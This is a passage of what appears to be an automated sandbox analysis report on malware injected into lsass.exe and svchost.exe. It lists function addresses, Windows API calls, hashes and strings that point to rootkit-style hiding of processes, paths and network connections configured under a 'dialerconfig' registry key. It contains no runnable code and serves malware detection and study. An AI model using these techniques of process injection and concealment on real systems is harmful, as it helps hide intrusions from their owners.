Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 5415e984cde6a1f954e745032577872c235aef40fdbcb0d3a10d64624b9653db
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 99D1BC73B14B80C9F721CFA9D48829C3BA1F354B98F158217CF5A97B9ADA39C54AC740

Function 00000202C0AE14A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE14C5
HeapFree.KERNEL32 ref: 00000202C0AE14D4
GetProcessHeap.KERNEL32 ref: 00000202C0AE14E1
HeapFree.KERNEL32 ref: 00000202C0AE14F0
GetProcessHeap.KERNEL32 ref: 00000202C0AE1500

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: fccdced75e0e166058a65fb9f01cb5bc762ae8e924348a52df6b038ca287fb4d
Instruction ID: e1a4700da16e8d3ef1b17da53b22238d79ed5d8b917823312ea25b365b8a4f34
Opcode Fuzzy Hash: fccdced75e0e166058a65fb9f01cb5bc762ae8e924348a52df6b038ca287fb4d
Instruction Fuzzy Hash: 1E117977500B90C6F714DF62A88C14DB7A4F788F81F0A4127EB4903766DE39C0598744

Function 00000202C0AF2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000202C0AF2A9C
GetLastError.KERNEL32 ref: 00000202C0AF2B27

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 7750c07c3da3ab5777ee1fb19e88fe5ee8ba8c540cdc789170c23b37d6888931
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: D9918A73610B50C9FB61DF6594CC7AD2BA0B744B88F56410BDF4A67A96DB3AC88BC700

Function 00000202C0AE7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000202C0AE798C
GetCurrentThreadId.KERNEL32 ref: 00000202C0AE799A
GetCurrentProcessId.KERNEL32 ref: 00000202C0AE79A6
QueryPerformanceCounter.KERNEL32 ref: 00000202C0AE79B6

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: c1e121f40b66a15715f8d269b70c98ee374ca54bb48e74cdb6f3174d14493375
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 34111C22710B01C9FB00CB60E8983AC33A4F719B58F450E22DB6D467A5DB78C5988380

Function 00000202C0AB9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000202C0AB9EB7

Strings

RCC, xrefs: 00000202C0AB9E85
MOC, xrefs: 00000202C0AB9E7C

Memory Dump Source

Source File: 0000001F.00000002.3107721527.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: f3028f0bacb26f4c6116040a1e45f79bacc9d5a175de68b6d573a429fff7c7f3
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: B7614532A00B84CAFB24DF65D4883AD77A0F748B98F154217EF4917B9ADB38D599C704

Function 00000202C0AE2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000202C0AE2416
StrCpyW.SHLWAPI ref: 00000202C0AE242D

Strings

\\.\pipe\, xrefs: 00000202C0AE2421

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 3514571e2c1d6cd3889b28a5e79674fb4b07f5075b2e224e86b20f94a4d05b12
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 2B5180322087C1C1F6649B29A5DC3BEA791F385B80F560127DFEA03B9BDA39C52D8750

Function 00000202C0AF26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000202C0AF2807
GetLastError.KERNEL32 ref: 00000202C0AF2829

Strings

U, xrefs: 00000202C0AF27B3

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: b84669cd5d919c91a09ffca97e8587df6a0950af1a2baa035680203c31bd1311
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 93418E63614B80C6EB209F25E8883AEA7A0F798794F524023EF4D87795EB39C44AC740

Function 00000202C0AE94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000202C0AE94F0
RaiseException.KERNEL32 ref: 00000202C0AE9531

Strings

csm, xrefs: 00000202C0AE951E

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 149d407967b934cd8ed689359ce0485475af0033eaf3f8f7976efa754672e473
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 8F112B36214B8082EB618B15E48835D77E5F788B94F594222EFCC077A9DF3DC569CB04

Function 00000202C0AB7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000202C0AB737C

Strings

riptor at (, xrefs: 00000202C0AB7364
ierarchy Descriptor', xrefs: 00000202C0AB7381

Memory Dump Source

Source File: 0000001F.00000002.3107721527.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 8da40ad284d153a9b89d1544e12ba7a913fe1935213764a8cba5128ad5ea2d85
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: A1E08661641B44D0EF018F31E88829C33A4DB58B64F9A91239A5C06312FA38D1EDC300

Function 00000202C0AB73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000202C0AB73D8

Strings

riptor at (, xrefs: 00000202C0AB73C0
Locator', xrefs: 00000202C0AB73DD

Memory Dump Source

Source File: 0000001F.00000002.3107721527.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 5205816057d34bf06f4ea810c880042c8f0231ff55e9ce8539c58bb0b426eeb2
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 30E08661601F44C0EF058F31D88419C73A4E758B54F8A9123DA4C06312EA38D1E9C300

Function 00000202C0AE1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1C2D
HeapAlloc.KERNEL32 ref: 00000202C0AE1C3B
GetProcessHeap.KERNEL32 ref: 00000202C0AE1C77
HeapFree.KERNEL32 ref: 00000202C0AE1C85

Part of subcall function 00000202C0AE152C: StrCmpIW.SHLWAPI ref: 00000202C0AE155D

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 0bfdd2f4f70d0c77588d297d632a834cc4e271defd7936f82574c36193d19b8d
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 6C119A26601B94C1FA44CB66A88C22D63A0FBC8FC0F1A412BDF8D83766DF39C45AC300

Function 00000202C0AE1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE126E
HeapAlloc.KERNEL32 ref: 00000202C0AE127D
GetProcessHeap.KERNEL32 ref: 00000202C0AE1297
HeapAlloc.KERNEL32 ref: 00000202C0AE12A8

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 14bf7bafefd4b55b8bc325b1bb0149ce76066631eeb9ae1ebb85862f094286e6
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 48E03936601704C6FB048B62D84C34A36E5EB89B06F0681268B0907362DF7E8499C750

Analysis Process: svchost.exePID: 920, Parent PID: 7824COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	2

Executed Functions

Function 000002A66130328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002A6613032AE
PathFindFileNameW.SHLWAPI ref: 000002A6613032BD

Part of subcall function 000002A661303844: StrCmpNIW.SHLWAPI ref: 000002A66130385C

Part of subcall function 000002A661303790: GetModuleHandleW.KERNEL32 ref: 000002A66130379E
Part of subcall function 000002A661303790: GetCurrentProcess.KERNEL32 ref: 000002A6613037CC
Part of subcall function 000002A661303790: VirtualProtectEx.KERNEL32 ref: 000002A6613037EE
Part of subcall function 000002A661303790: GetCurrentProcess.KERNEL32 ref: 000002A661303809
Part of subcall function 000002A661303790: VirtualProtectEx.KERNEL32 ref: 000002A66130382A

CreateThread.KERNEL32 ref: 000002A66130330B

Part of subcall function 000002A661301D14: GetCurrentThread.KERNEL32 ref: 000002A661301D1F

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 077229c1eed964279b07ec97370b47b92095969d86f76acc536d4c6ada0caa5e
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: DC11AD70F246408BFB60EB61F98DB6923ECA746F46F8C41249907A3691EF7CC04C8283

Function 000002A661301ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002A661301628: GetProcessHeap.KERNEL32 ref: 000002A661301633
Part of subcall function 000002A661301628: HeapAlloc.KERNEL32 ref: 000002A661301642
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613016B2
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613016DF
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613016F9
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301719
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301734
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301754
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A66130176F
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A66130178F
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613017AA
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613017CA

Sleep.KERNEL32 ref: 000002A661301AD7
SleepEx.KERNELBASE ref: 000002A661301ADD

Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613017E5
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301805
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301820
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301840
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A66130185B
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A66130187B
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301896
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613018A0

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 99b07525fd2711d8e82b8b49fba128a9359a21ce05ef994d83d7f8484eb62716
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: F3314171B00A4593FF509B26DA4D3A963FCAB46FCAF0C54219E0BA7295FF1CC459C292

Function 000002A661303844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000002A66130385C

Strings

dialer, xrefs: 000002A661303855

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 84d7da99e8808b0adfb76846f8b28e16625e6655772c6f218550ef611b4de524
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 59D0A760B512498BFF14DFE688CDA603798EB09F45F8C4034D90213150DF6C8A9D9711

Function 000002A6612D273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002A6612D285E

Memory Dump Source

Source File: 00000020.00000002.3089296987.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a6612d0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 1627250a6f1587746d6adcb486bc21ae0d1f8d3e6a0bb4f849c2ff22e67d6bd2
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: DC61F0B2F016908BDB548F25D0487ADB3AEFB55FA4F688121DE5907788DF38D89AC701

Non-executed Functions

Function 000002A661302B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002A661302BD0
lstrlenW.KERNEL32 ref: 000002A661302E0A

Part of subcall function 000002A66130199C: OpenProcess.KERNEL32 ref: 000002A6613019C2
Part of subcall function 000002A66130199C: K32GetModuleFileNameExW.KERNEL32 ref: 000002A6613019E0
Part of subcall function 000002A66130199C: PathFindFileNameW.SHLWAPI ref: 000002A6613019EF
Part of subcall function 000002A66130199C: lstrlenW.KERNEL32 ref: 000002A6613019FB
Part of subcall function 000002A66130199C: StrCpyW.SHLWAPI ref: 000002A661301A0E
Part of subcall function 000002A66130199C: CloseHandle.KERNEL32 ref: 000002A661301A1C

GetProcAddress.KERNEL32 ref: 000002A661302BE5

Part of subcall function 000002A66130152C: StrCmpIW.SHLWAPI ref: 000002A66130155D

Part of subcall function 000002A661303844: StrCmpNIW.SHLWAPI ref: 000002A66130385C

StrCmpNIW.SHLWAPI ref: 000002A661302C28
lstrlenW.KERNEL32 ref: 000002A661302D50

Strings

ntdll.dll, xrefs: 000002A661302BC9
NtQueryObject, xrefs: 000002A661302BDB
\Device\Nsi, xrefs: 000002A661302C1B

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 517c12f0b0e1090de60bb0fcc7bf1fefb46beb5eab338aff40a4245cd4b9731a
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 52B17C72B10A9087EB649F35D64C7A963E9F746F86F485016EE0A63B94DF39CC48C381

Function 000002A661307D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002A661307DAC
RtlCaptureContext.NTDLL ref: 000002A661307DD9
RtlLookupFunctionEntry.NTDLL ref: 000002A661307DF3
RtlVirtualUnwind.NTDLL ref: 000002A661307E34
IsDebuggerPresent.KERNEL32 ref: 000002A661307E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A661307EA9
UnhandledExceptionFilter.KERNEL32 ref: 000002A661307EB4

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: cc74eacb843f1603229d41cad126e5c04d88afadf7cf4452611ec155d591a17a
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: E5315072705B808AEB609F60E8483ED73A8F785B44F484429DA8E67B94EF7CC54DC710

Function 000002A66130D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002A66130D31D
RtlLookupFunctionEntry.NTDLL ref: 000002A66130D335
RtlVirtualUnwind.NTDLL ref: 000002A66130D370
IsDebuggerPresent.KERNEL32 ref: 000002A66130D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A66130D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002A66130D3BE

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 36f9f4375d1256616007857bae393de0df9f8980b3b202d925a5ac7eb32d36a2
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 4A316F32714F8086DB60CF25E84839E73A8F78AB55F580125EA9E53B68DF7CC159CB41

Function 000002A661301628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002A661301633
HeapAlloc.KERNEL32 ref: 000002A661301642

Part of subcall function 000002A661301268: GetProcessHeap.KERNEL32 ref: 000002A66130126E
Part of subcall function 000002A661301268: HeapAlloc.KERNEL32 ref: 000002A66130127D
Part of subcall function 000002A661301268: GetProcessHeap.KERNEL32 ref: 000002A661301297
Part of subcall function 000002A661301268: HeapAlloc.KERNEL32 ref: 000002A6613012A8

RegOpenKeyExW.ADVAPI32 ref: 000002A6613016B2
RegOpenKeyExW.ADVAPI32 ref: 000002A6613016DF
RegCloseKey.ADVAPI32 ref: 000002A6613016F9
RegOpenKeyExW.ADVAPI32 ref: 000002A661301719
RegCloseKey.ADVAPI32 ref: 000002A661301734
RegOpenKeyExW.ADVAPI32 ref: 000002A661301754
RegCloseKey.ADVAPI32 ref: 000002A66130176F
RegOpenKeyExW.ADVAPI32 ref: 000002A66130178F
RegCloseKey.ADVAPI32 ref: 000002A6613017AA
RegOpenKeyExW.ADVAPI32 ref: 000002A6613017CA
RegCloseKey.ADVAPI32 ref: 000002A6613017E5
RegOpenKeyExW.ADVAPI32 ref: 000002A661301805
RegCloseKey.ADVAPI32 ref: 000002A661301820
RegOpenKeyExW.ADVAPI32 ref: 000002A661301840
RegCloseKey.ADVAPI32 ref: 000002A66130185B
RegOpenKeyExW.ADVAPI32 ref: 000002A66130187B
RegCloseKey.ADVAPI32 ref: 000002A661301896
RegCloseKey.ADVAPI32 ref: 000002A6613018A0

Part of subcall function 000002A6613012BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002A661301319
Part of subcall function 000002A6613012BC: GetProcessHeap.KERNEL32 ref: 000002A661301327
Part of subcall function 000002A6613012BC: HeapAlloc.KERNEL32 ref: 000002A661301338
Part of subcall function 000002A6613012BC: RegEnumValueW.ADVAPI32 ref: 000002A661301397
Part of subcall function 000002A6613012BC: GetProcessHeap.KERNEL32 ref: 000002A6613013DF
Part of subcall function 000002A6613012BC: HeapAlloc.KERNEL32 ref: 000002A6613013ED
Part of subcall function 000002A6613012BC: GetProcessHeap.KERNEL32 ref: 000002A66130140A
Part of subcall function 000002A6613012BC: HeapFree.KERNEL32 ref: 000002A661301418
Part of subcall function 000002A6613012BC: lstrlenW.KERNEL32 ref: 000002A661301421
Part of subcall function 000002A6613012BC: GetProcessHeap.KERNEL32 ref: 000002A66130142F
Part of subcall function 000002A6613012BC: HeapAlloc.KERNEL32 ref: 000002A66130143D

Strings

process_names, xrefs: 000002A66130174D
pid, xrefs: 000002A661301712
tcp_local, xrefs: 000002A6613017FE
tcp_remote, xrefs: 000002A661301839
service_names, xrefs: 000002A6613017C3
startup, xrefs: 000002A6613016D5
SOFTWARE\dialerconfig, xrefs: 000002A661301692
udp, xrefs: 000002A661301874
paths, xrefs: 000002A661301788

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: c27f832fced2d29170b0e4fb301a485cb6098ecabde165e8eb95b814a7a813c5
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: BA71F476B10E5087EB10DF65E89D69933B8FB8AF8DF081121DA4F67A68DF28C548C341

Function 000002A6613012BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A661301319
GetProcessHeap.KERNEL32 ref: 000002A661301327
HeapAlloc.KERNEL32 ref: 000002A661301338
RegEnumValueW.ADVAPI32 ref: 000002A661301397

Part of subcall function 000002A66130152C: StrCmpIW.SHLWAPI ref: 000002A66130155D

GetProcessHeap.KERNEL32 ref: 000002A6613013DF
HeapAlloc.KERNEL32 ref: 000002A6613013ED
GetProcessHeap.KERNEL32 ref: 000002A66130140A
HeapFree.KERNEL32 ref: 000002A661301418
lstrlenW.KERNEL32 ref: 000002A661301421
GetProcessHeap.KERNEL32 ref: 000002A66130142F
HeapAlloc.KERNEL32 ref: 000002A66130143D
StrCpyW.SHLWAPI ref: 000002A66130145F
GetProcessHeap.KERNEL32 ref: 000002A661301476
HeapFree.KERNEL32 ref: 000002A661301484

Strings

d, xrefs: 000002A66130135A

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
